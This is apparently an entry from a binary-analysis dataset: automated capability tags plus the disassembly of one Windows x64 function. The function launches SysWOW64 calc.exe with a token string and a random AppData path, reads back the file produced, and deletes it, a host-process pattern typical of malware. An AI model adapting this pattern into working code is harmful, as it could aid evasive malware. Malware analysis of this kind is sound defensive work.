Function at 0x180015308
Capabilities:
Create process on windows
Delete file
Generate random numbers via rtlgenrandom
Get file size
Query environment variable
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r12
sub rsp, 0xaf0
xor r12d, r12d
mov rbp, rcx
lea rcx, [rsp + 0x44]
lea r8d, [r12 + 0x6c]
xor edx, edx
mov dword [rsp + 0x40], r12d
call sub.ntdll.dll_memset
mov ebx, 0x206
lea rcx, [rsp + 0x2c2]
mov r8, rbx
xor edx, edx
mov word [rsp + 0x2c0], r12w
call sub.ntdll.dll_memset
lea rcx, [rsp + 0x6e2]
xor edx, edx
mov r8d, 0x40e
mov word [rsp + 0x6e0], r12w
call sub.ntdll.dll_memset
lea rcx, [rsp + 0x4d2]
mov r8, rbx
xor edx, edx
mov word [rsp + 0x4d0], r12w
call sub.ntdll.dll_memset
lea rcx, [rsp + 0xb2]
mov r8, rbx
xor edx, edx
mov word [rsp + 0xb0], r12w
call sub.ntdll.dll_memset
lea edx, [r12 + 4]
lea rcx, [rsp + 0xb18]
call sub.ADVAPI32.dll_SystemFunction036
mov ebx, 0x104
lea rdx, [rsp + 0x4d0]
lea rcx, [0x1800317d8]
mov r8d, ebx
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov r11d, dword [rsp + 0xb18]
lea r9, str.AppData
lea r8, [rsp + 0x4d0]
lea rdx, str._ws_ws_I64x
lea rcx, [rsp + 0xb0]
mov dword [rsp + 0x20], r11d
call qword [sym.imp.USER32.dll_wsprintfW]
lea rdx, [rsp + 0x2c0]
lea rcx, str._WINDIR_
mov r8d, ebx
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea rdx, str.SysWOW64calc.exe
lea rcx, [rsp + 0x2c0]
call sub.ntdll.dll_wcscat
lea r9, [rsp + 0xb0]
lea r8, str.CBmWzIJQqV
lea rdx, str._ws___ws_
lea rcx, [rsp + 0x6e0]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rax, [rsp + 0x2c0]
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x6e0]
mov dword [rsp + 0x40], 0x70
mov qword [rsp + 0x60], rax
lea rax, str.open
mov dword [rsp + 0x44], 0x8040
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x70], r12d
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
cmp eax, r12d
je 0x180015599
mov rcx, qword [rsp + 0xa8]
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
je 0x180015599
lea r8d, [r12 + 3]
mov qword [rsp + 0x30], r12
lea rcx, [rsp + 0xb0]
xor r9d, r9d
mov edx, 0x80000000
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], r8d
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x180015599
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov rcx, qword [0x180039b48]
xor edx, edx
lea r8d, [rax + 1]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
cmp rax, r12
je 0x180015582
lea r9, [rsp + 0xb20]
mov r8d, ebx
mov rdx, rax
mov rcx, rsi
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_ReadFile]
cmp eax, r12d
je 0x180015582
lea ecx, [rbx - 1]
mov word [rdi + rcx*2], r12w
mov rbx, qword [rbp]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
xor r9d, r9d
mov rdx, rdi
lea r8d, [rax + rax]
mov rcx, rbp
call qword [rbx + 0x20]
mov rcx, qword [0x180039b48]
mov r8, rdi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0xb0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea r11, [rsp + 0xaf0]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r12
pop rdi
pop rsi
ret